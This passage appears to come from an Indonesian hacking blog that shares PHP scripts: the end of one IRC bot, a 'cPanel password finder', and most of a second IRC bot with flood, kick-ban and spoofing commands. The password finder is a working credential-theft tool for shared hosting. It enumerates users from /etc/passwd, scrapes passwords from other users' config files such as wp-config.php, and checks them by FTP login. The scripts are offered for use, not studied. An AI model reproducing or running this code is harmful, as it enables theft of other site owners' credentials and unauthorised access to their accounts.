elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand)) {
if ($qnick["$dNick"]!=2) {
$qnick["$dNick"]++;
$querymsg = $querym[rand(0,count($querym) - 1)];
$querymsg = str_replace("nick",$dNick,$querymsg);
fputs($fp,'PRIVMSG '.$dNick.' :'.$querymsg . CRL);
}
if ($log=="on") {
fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
}
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose ($fp);
} while ($keluar==0);

}
?>

simpan dengan extensi .php
perview liat disini «•‡•» JatimCom - PHP BoT «•‡•»

Script mencari password cpanel

2010-01-06T02:50:00.000-08:00

<?php
echo "<html>";
echo "<title>Jatim Community</title><body>";

set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################

#########################
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";

echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";

echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}

echo "\n[+] Done\n";

function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}

function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}

function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[FTP] '.$login.':'.$pass." Success\n";
}
else ftp_quit($ftp);
}
}

echo "</textarea><br>";

echo "</body></html>";
?>

Script Target On

2009-10-01T06:45:00.000-07:00

<?php
/*
+---------------------------------------------------------------------------
| PHP-IRC v1.3 For Server Allnetwork
| ========================================================
| recording by jatimcom
| (c) 2007-2008
| irc.allnetwork.org
| ========================================
+---------------------------------------------------------------------------
*/

#######################
set_time_limit(0);
define ('CRLF', "\r\n");
$modbot=new module_bot;
#######################

#################### [ CONFIG BOT ] #######################
$bot['admin']="cimpli";
$bot['pass']="331199";
$bot['inick']="";
$bot['pnick']="";
$bot['basechan']="#gang-dolly";
$bot['roomnet']="#jatimcomhelp";
$bot['roomkey']="jatimcom";
$bot['local']="localhost";
$bot['server']="irc.big.net.id";
$bot['port']=6667;
$bot['userver']=0;
$bot['pserver']="remotepass";
/////////////////////////////////////
$bot['nick']=$modbot->rnd_nick();
$bot['ident']=$modbot->rnd_ident();
$bot['realname']=$modbot->rnd_real();

################# [ END CONFIG BOT ] ######################

#################### [ AUTH VAR ] #########################
$Admin=strtolower($bot['admin']);
$BOT_PASSWORD=strtolower($bot['pass']);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Owner","ident"=>"","host"=>"","time",""));
################## [ END AUTH VAR ] #######################

###################### [ VAR VAR ] ########################
$tsu=array("`","|","[","]","{","}","^","\\","_");
$zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius");
$ctcpversi=" 0,4Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ";
$ctcpfinger=" 0,4Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ";
$user_chan_arr[][]="";

$greetmsg["nick"]["nama"]="";
$greetmsg["nick"]["msg"]="";

$banlist[$bot['basechan']]="";
$ping["ping"]["nick"]="";
$ping["ping"]["chan"]="";

$jmlspoof["irc.visit.net.id"]=0;
$isisp[1]["irc.visit.net.id"]["ident"]="User";
$isisp[1]["irc.visit.net.id"]["spoof"]="jatim.community";
$isisp[1]["irc.visit.net.id"]["pass"]="jatim";

$kmusedan[0]["contoh"][]="";
$kmusedan[0]["definisi"][]="";
$kmusedan[0]["kata"][]="";
$kmjml["apa"]="";

$chanson=strtolower($bot['basechan']);
$listison[0]=strtolower($bot['admin']);
$ada1[$listison[0]]=false;
$ada2[$listison[0]]=true;

$goboom=0;$tmboom=0;$onboom="off";$targetboom="";$warnabenar="";$bw[0]="";$chanboom="";$timeboom=25;
$warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange";

$systembot['ping'][strtolower($bot['basechan'])]=" 4OFF ";
////////////////////
$iscy=time();
$timercy=2000;
$timermsg=2000;
$timeract=2000;
#################### [ END VAR VAR ] ######################

##################### [ CONNECT ] #####################
/////////////////
$servdef=array("irc.allnetwork.org");
$keluar=0;$retry=count($servdef)+1;$attconnect=0;$rtdc=0;
/////////////////
do {
$fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30);
if(!$fp) {
$attconnect++;
print "Sorry, the server " . $bot['server']. " is not currently available!".CRLF;
$bot['server']=$servdef[$attconnect-1];
$bot['userver']=0;
sleep(5);
if ($attconnect >=$retry){
$keluar=1;
exit;
}
}
else{
$inaway['status']=0;
$haltfl['on']=0;
$res_chan="";
$res_chan=$modbot->show_chan();
$modbot->destroy_allchan();
$attconnect=0;$rtdc++;
if($rtdc ==3){$bot['userver']=0;}elseif($rtdc >=4){$bot['ident']="say";$bot['userver']=0;$rtdc=0;}

####### REGISTER TO SERVER ########
if ($bot['userver']==1){$Header = 'PASS ' . $bot['pserver'] . CRLF;}
$Header .= 'NICK ' . $bot['nick'] . CRLF;
$Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname'];
$modbot->send($fp,$Header);
$Header="";
unset ($Header);
#### END REGISTER ################
$response = '';
while (!feof($fp)) {
#### MAIN ITUNG_ITUNGAN ###

if(time()-$haltfl['time']>15 && $haltfl['on']==1){$haltfl['on']=0;$haltfl['time']=time();}
if(time()-$isontime >15 && $systembot['ISON']['ALL']==" 3ON "){$modbot->send($fp,"ISON ". $modbot->show_ison());$isontime=time();}
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==0){if(time()-$inaway['idle'] >=1800){$modbot->away($fp,$modbot->rnd_logo().' '.$modbot->rnd_away());$inaway['status']=1;$inaway['idle']=time();}}
if(time()-$iscy >$timercy){$modbot->auto_cy($fp);$iscy=time();}
if($onboom=="on"){
$tboom=time()-$tmboom;
if($tboom>=$timeboom){
$modbot->kick($fp,$chanboom,$targetboom,' 0,13Time Empty... BOOOOOOMMMM!!!!! ');
$goboom=0;$onboom="off";$targetboom="";
}
}

#### MAIN ITUNG_ITUNGAN ###

##[ Proses Data Recv ]##
$response = fgets($fp, 1024);
while (substr_count($response,CRLF) != 0) {
$offset = strpos($response, CRLF);
$DataLine = substr($response,0,$offset);
if (substr($DataLine,0,1) == ':') {
$Params=explode(" ",$DataLine);
$offsetC = strpos($DataLine, ' :');
$dText = substr($DataLine,$offsetC+2);
if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) {
$fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1);
$fsrc[nkecil]=strtolower($fsrc[nick]);
$fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1);
$fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1);
}
##[ MEMULAI DATA RAW ]##
switch ($Params[1]){
case "001":
$bot['nick']=$Params[2];$rtdc=0;
break;
case "004":
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);sleep(1);
$modbot->join($fp,$bot['basechan']);$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);
sleep(2);
if($res_chan){$arres_chan=explode(";",$res_chan);foreach ($arres_chan as $clist){$modbot->join($fp,$clist,"");sleep(2);}}
break;
case "303":
$modbot->stuf_ison($fp,$dText);
break;
case "305":
$inaway['status']=0;
break;
case "306":
$inaway['status']=1;
break;
case "353":
$nickll=str_replace("@","",$dText);$nickll=str_replace("%","",$nickll);$nickll=str_replace("+","",$nickll);
$modbot->destroy_chan($Params[4]);$modbot->add_nickchan($Params[4],$nickll);
break;
case "367":
$modbot->notice($fp,$banlist["$Params[3]"],' 4[ 3+b 4] 1- 3'.$Params[4].' ');
break;
case "368":
$modbot->notice($fp,$banlist["$Params[3]"],' 4E 1nd 4o 1f 4c 1hannel 4b 1an 4l 1ist ');
unset($banlist["$Params[3]"]);
break;
case "432":
if($haltfl['on']==0){$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));}
break;
case "433":
if($haltfl['on']==0){$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));}
break;
case "464":
$bot['userver']=0;
break;
case "465":
$bot['userver']=0;
break;
case "NICK":
$newnicke = str_replace(':','',$Params[2]);
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$newnicke,'You`re LogOut On Change Nick!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$bot['nick']=$newnicke;}
break;
case "JOIN":
$addchan=str_replace(":","",$Params[2]);
$modbot->add_nickchan($addchan,$fsrc[nick]);
////////////////
if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $systembot['GREET'][strtoupper($addchan)]==" 3ON "){
$rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]);
$msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ;
$addchan=str_replace(":","",$Params[2]);
$msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet);
$msgnya=str_replace("<|chan|>",$addchan,$msgnya);
$modbot->msg($fp,$addchan,$msgnya);
}
////////////////
break;
case "PART":
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$fsrc[nick],'You`re LogOut On Parting Channel!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$modbot->destroy_chan($Params[2]);}
else{$modbot->del_nickchan($Params[2],$fsrc[nick]);}
break;
case "KICK":
if(strtolower($bot['nick'])==strtolower($Params[3])){
$modbot->destroy_chan($Params[2]);
if($systembot['AUTOJOIN'][strtoupper($Params[2])]==' 3ON '){sleep(1);$modbot->msg($fp,"Chanserv",'UNBAN '.$Params[2].' '.$bot['nick']);sleep(1);$modbot->join($fp,$Params[2]);}
}
else{ $modbot->del_nickchan($Params[2],$Params[3]);}
break;
case "QUIT":
$modbot->change_nickchan($fsrc[nick],"");
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$modbot->logoutbot($fsrc[nick]);}
break;
case "NOTICE":
if($Params[3]==': PING'){
$modbot->stuf_lag($fp,$fsrc[nick],$Params[4]);
}
if($Params[3]==': VERSION'){
if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,8);
$modbot->msg($fp,$datversi[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$vernya);
}
unset($datversi[strtolower($fsrc[nick])]["nick"]);unset($datversi[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': FINGER'){
if($datfinger[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,7);
$modbot->msg($fp,$datfinger[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$vernya);
}
unset($datfinger[strtolower($fsrc[nick])]["nick"]);unset($datfinger[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': TIME'){
if($dattime[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$timenya=str_replace(chr(1),"",$dText);$timenya=substr($timenya,5);
$modbot->msg($fp,$dattime[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$timenya);
}
unset($dattime[strtolower($fsrc[nick])]["nick"]);unset($dattime[strtolower($fsrc[nick])]["chan"]);
}
break;
case "PRIVMSG":
$TxtMsg=substr($DataLine,strpos($DataLine," :")+2);
unset($dCom);$dCom=explode(" ", $TxtMsg);$perintah=strtolower($dCom[0]);
if($haltfl['on']==0){
if ( $Params[3]==": PING") {$modbot->notice($fp,$fsrc[nick],$TxtMsg);}
elseif ($Params[3]==": VERSION ") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'VERSION '. $ctcpversi . chr(1));}
elseif ($Params[3]==": FINGER ") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'FINGER '. $ctcpfinger . chr(1));}
elseif ($Params[3]==": TIME ") { $timetoday = date("D M j H:i:s Y"); $modbot->notice($fp,$fsrc[nick],chr(1) . 'TIME '.$timetoday . chr(1));}
}
################ ANTI SLAPS ############
if($Params[3]==': ACTION' && ereg('#',$Params[2]) && $systembot['SLAPS'][strtoupper($Params[2])]==" 3ON "){
if(strpos(strtolower($TxtMsg),"slaps") || strpos(strtolower($TxtMsg),"slap")){
foreach ($auth as $ulist) {if($ulist["name"]){if(strpos(strtolower($TxtMsg),strtolower($ulist["name"]))){$onbos=1;}}}
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$onbos=0;}
if($onbos==1){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapbos());}
elseif($onbos==0){if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->msg($fp,$Params[2],$modbot->rnd_slapampun());}}
else{if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapme());}}
$onbos=2;
}
}
############ END ANTI SLAPS ############
if (substr($Params[3],0,2)==':^'){
$logok=$modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host]);
if (strtolower($dCom[0])=='^login' && $dCom[1]) {
if($logok==1){$modbot->notice($fp,$fsrc[nick],"You`re Already Authorized!");}
else{
if($haltfl['on']!=0){sleep(2);};
if($modbot->loginbot($fsrc[nick],$fsrc[user],$fsrc[host],$dCom[1])==1){
$modbot->notice($fp,$fsrc[nick],'You`re Authorized As '.$auth["$fsrc[nkecil]"]["status"].'!');
$modbot->notice($fp,$fsrc[nick],'For help type .help');
$auth["$fsrc[nkecil]"]["ident"]=$fsrc[user];$auth["$fsrc[nkecil]"]["host"]=$fsrc[host];
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
}
}
}
elseif (strtolower($dCom[0])=='^logout' && $logok==1) {
if($modbot->logoutbot($fsrc[nick])==1){$modbot->notice($fp,$fsrc[nick],'You`re LogOut!');}
}
}
elseif (substr($Params[3],0,2)==':.'){
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])){
if (ereg('#',$Params[2])){$cmdin=1;$target=$Params[2];}else {$cmdin=2;$target=$fsrc[nick];}
$getlvl=$modbot->level_user($fsrc[nick]);
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
############### MULTI USER BOT ##############
if ($perintah=='.chgpass' && $dCom[1] && $dCom[2]) {
$modbot->chgpass_user($fp,$fsrc[nick],$dCom[1],$dCom[2]);
}
elseif ($perintah=='.adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $getlvl > 1) {
$modbot->add_user($fp,$fsrc[nick],$dCom[1],$dCom[2],$dCom[3]);
}
elseif ($perintah=='.deluser' && $dCom[1] && $getlvl > 1) {
$modbot->del_user($fp,$fsrc[nick],$dCom[1]);
}
############# END MULTI USER BOT ############

########## CHANGE SERVER IDENT REALNAME SERVPASS && JUMP ########
elseif ($perintah=='.server' && $dCom[1] && $getlvl > 2){
$bot['server']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.servpass' && $dCom[1] && $getlvl > 2){
$bot['pserver']=$dCom[1];$bot['userver']=1;
$modbot->notice($fp,$fsrc[nick],'ChANging PassWOrD SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.ident' && $dCom[1] && $getlvl > 2){
$bot['ident']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging IdentD To '. $dCom[1]);
}
elseif ($perintah=='.vhost' && $dCom[1] && $getlvl > 2){
$bot['local']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging VhosT To '. $dCom[1]);
}
elseif ($perintah=='.realname' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,10);$Rmsg=ltrim($Rmsg);$bot['realname']=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'ChANging ReaLNaMe To '. $Rmsg);
}
elseif ($perintah=='.jump' && $getlvl > 2){
$keluar = 0;$modbot->quit($fp,$modbot->rnd_logo() .' ReSTaRt bY '.$fsrc[nick]);
}
########################## END CHG SER IDENT REAL ##########################

################################ #### ##################################
elseif ($perintah=='.botnick' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'My Nick Is :'.$bot['nick']);
}
elseif ($perintah=='.identnick' && $dCom[1] && $dCom[2] && $cmdin==2 && $getlvl > 1){
$bot['inick']=$dCom[1];$bot['pnick'] = $dCom[2];
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);
$modbot->notice($fp,$fsrc[nick],"Identify nick... to ".$dCom[1]);
}
elseif ($perintah=='.logoutnick' && $getlvl > 1){
$modbot->msg($fp,"Nickserv","logout");$modbot->notice($fp,$fsrc[nick],"Logout nick");
}
elseif ($perintah=='.basechan' && $dCom[1] && $getlvl > 2){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['basechan'],$modbot->rnd_logo() . ' BaseChan cHanGE by ' . $frsc[nick]);
$bot['basechan']=$bchan;$modbot->join($fp,$bot['basechan']);
}
elseif ($perintah=='.botchan' && $dCom[1] && $dCom[2] && $getlvl > 3){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['roomnet']);$bot['roomnet']=$bchan;
$bot['roomkey']=$dCom[2];$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);
}
elseif ($perintah=='.userlist' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'User List: '.$modbot->user_list($fp,$fsrc[nick]));
}
elseif ($perintah=='.chanlist' && $getlvl > 2) {
$datachan=str_replace(";"," ",$modbot->show_chan());$modbot->notice($fp,$fsrc[nick],$datachan);$datachan="";unset($datachan);
}
elseif ($perintah=='.nicklist' && $dCom[1] && $getlvl > 2) {
$nchan=$dCom[1];if (!ereg("#",$dCom[1])) { $nchan="#".$dCom[1]; }
$datanick=explode(" ",$modbot->show_nickchan($nchan));
for ($i = 0; $i <= count($datanick); $i++) {
$limitshow++;$lnick_x=$lnick_x.' '.$datanick[$i];
if($limitshow==15){
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);$modbot->notice($fp,$fsrc[nick],$lnick_x);
$limitshow=0;$lnick_x="";
}
}
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);
if($lnick_x){$modbot->notice($fp,$fsrc[nick],$lnick_x);}$lnick_x="";
unset($lnick_x);unset($datanick);
}
elseif ($perintah=='.showison' && $getlvl > 2) {$modbot->notice($fp,$fsrc[nick],$modbot->show_ison());}
elseif ($perintah=='.chanison' && $getlvl > 2) {$chanson=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChanIson cHanGe To '.$dCom[1]);}
elseif ($perintah=='.settimercycle' && $dCom[1] && $getlvl > 2) {
$timercy=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer aUtO Cycle cHanGe To '.$dCom[1].' Second');
}
elseif ($perintah=='.settimermsg' && $dCom[1] && $getlvl > 2) {
$timermsg=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoMsg cHanGe To '.$dCom[1]. ' Second');
}
elseif ($perintah=='.settimeract' && $dCom[1] && $getlvl > 2) {
$timeract=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoAction cHanGe To '.$dCom[1]. ' Second');
}
elseif($perintah=='.setversion' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpversi=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'VerSIoN cHanGe To '.$ctcpversi);
}
elseif($perintah=='.setfinger' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpfinger=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'FiNGeR cHanGe To '.$ctcpfinger);
}
################################ #### ##################################

######################### CONTROL BOT #######################
elseif ($perintah=='.up' && $getlvl > 1 && $cmdin==1) {
$modbot->msg($fp,"Chanserv",'Op '.$Params[2].' '.$bot['nick']);
}
elseif ($perintah=='.down' && $getlvl > 1 && $cmdin==1) {
$modbot->mode($fp,"+v-ho",$Params[2],$bot['nick'].' '.$bot['nick'].' '.$bot['nick']);
}
elseif ($perintah=='.o' || $perintah=='.h' || $perintah=='.v' || $perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
if ($getlvl > 1){
if ($perintah=='.o' || $perintah=='.h' || $perintah=='.v'){
$moden=strtolower(substr($dCom[0],1));$moden='+'.$moden . $moden . $moden;
}
elseif ($perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
$moden=strtolower(substr($dCom[0],2));$moden='-'.$moden . $moden . $moden;
}
if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];}
elseif($cmdin==2){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];}
if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; }
$modbot->mode($fp,$moden,$ttarget,$vonick.' '.$tmore);
}
}
elseif ($perintah=='.k' || $perintah=='.kb' || $perintah=='.kc') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$dCom[0].' '.$dCom[1];}
elseif($cmdin==2){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1].' '.$dCom[2];}
$msg=substr($TxtMsg,strlen($tkode)+1); $msg=ltrim($msg);$msg=rtrim($msg);
if($perintah=='.k'){
$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kb'){
$modbot->ban($fp,$ttarget,$tdata);$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kc'){$modbot->kickserv($fp,$ttarget,$tdata,$msg);}
}
}
elseif ($perintah=='.b' || $perintah=='.ub') {
if($getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$tmode=substr($TxtMsg,strlen($tkode)+1);
$tmode=ltrim($tmode);$tmode=rtrim($tmode);
if($perintah=='.b'){$modbot->ban($fp,$ttarget,$tmode);}
else{$modbot->unban($fp,$ttarget,$tmode);}
}
}
elseif ($perintah=='.j' && $dCom[1]) {
$jchan=$dCom[1];if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; }
$modbot->join($fp,$jchan,$dCom[2]);
}
elseif ($perintah=='.p' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,3+strlen($dCom[1])+1);
$modbot->part($fp,$pchan,$pmsg);
}
elseif ($perintah=='.cy' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,4+strlen($dCom[1])+1);
$modbot->Cycle($fp,$pchan,$pmsg);
}
elseif ($perintah=='.a' || $perintah=='.s') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$msg=substr($TxtMsg,strlen($tkode)+1);
if($perintah=='.a'){$modbot->act($fp,$ttarget,$msg);
}else{$modbot->msg($fp,$ttarget,$msg);}
}
}
elseif ($perintah=='.away'){
if($dCom[1]){$modbot->away($fp,substr($TxtMsg,6));}else{$modbot->noaway($fp);}
}
elseif ($perintah=='.n' && $dCom[1]){$modbot->nick($fp,$dCom[1]);}
elseif ($perintah=='.q' && $getlvl > 3 ){
$keluar=1;if($dCom[1]){$Qmsg=substr($TxtMsg,3);}$modbot->quit($fp,$Qmsg);$keluar=1;sleep(3);exit;
}

elseif ($perintah=='.ts' && $dCom[1] && $getlvl > 2){
$modbot->flood($fp,$dCom[1],$TxtMsg);
}
elseif($perintah=='.help'){
$modbot->mod_help($fp,$fsrc[nick]);
}
###################### END CONTROL BOT #####################

################################ SYSTEM ###################################
elseif ($perintah=='.status' && $getlvl > 2 && $cmdin==1 ){
if($dCom[1]){$chan=$dCom[1];}
else{$chan=$Params[2];}
if (!ereg("#",$chan)){$chan="#".$chan;}
$chan=strtoupper($chan);
$modb="";
if($systembot['TIME'][$chan]==" 3ON "){$modb.=' [ 4T ]iME';}
if($systembot['ASTRO'][$chan]==" 3ON "){$modb.=' [ 4A ]sTRo';}
if($systembot['PING'][$chan]==" 3ON "){$modb.=' [ 4P ]iNG';}
if($systembot['BOM'][$chan]==" 3ON "){$modb.=' [ 4B ]oM';}
if($systembot['SPOOF'][$chan]==" 3ON "){$modb.=' SPoo[ 4F ]';}
if($systembot['KSLANG'][$chan]==" 3ON "){$modb.=' [ 4K ]SlaNG';}
if($systembot['VERSION'][$chan]==" 3ON "){$modb.=' V[ 4E ]rSIoN';}
if($systembot['FINGER'][$chan]==" 3ON "){$modb.=' [ 4F ]iNGeR';}
if($systembot['ISON']['ALL']==" 3ON "){$modb.=' [ 4I ]soN';}
if($systembot['GREET'][$chan]==" 3ON "){$modb.=' [ 4G ]rEEt';}
if($systembot['AUTOAWAY']['ALL']==" 3ON "){$modb.=' AUtoA[ 4W ]ay';}
if($systembot['AUTOCYCLE'][$chan]==" 3ON "){$modb.=' AuTO[ 4C ]YcLE';}
if($systembot['AUTOJOIN'][$chan]==" 3ON "){$modb.=' AuTo[ 4J ]oIN';}
$modb=ltrim($modb);
$modb=rtrim($modb);
if($modb==""){$modb="[ 4 PA ]RKiR [ 4 NI ]c[ 4 K ]";}
$modbot->act($fp,$Params[2],'iS MODeS '.$modb.' FoR [ 2'.strtoupper($chan).' ]');
}
elseif (substr($perintah,0,2)=='.+' || substr($perintah,0,2)=='.-'){
if(substr($perintah,1,1)=='+'){$onoff=" 3ON ";}elseif(substr($perintah,1,1)=='-'){$onoff=" 4OFF ";};
$wsys=substr(strtoupper($perintah),2);
if($cmdin==1){$targetsys=$Params[2];if($dCom[1]){$targetsys=$dCom[1];}$sysok=1;}
elseif($cmdin==2 && $dCom[1]){$targetsys=$dCom[1];$sysok=1;}
if (!ereg("#",$targetsys)){$targetsys="#".$targetsys;}
if($wsys=='PING' && $sysok==1 && $getlvl > 2){
$systembot['PING'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'PING '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['PING'][strtoupper($targetsys)]).' ]');
}
if($wsys=='VERSION' && $sysok==1 && $getlvl > 2){
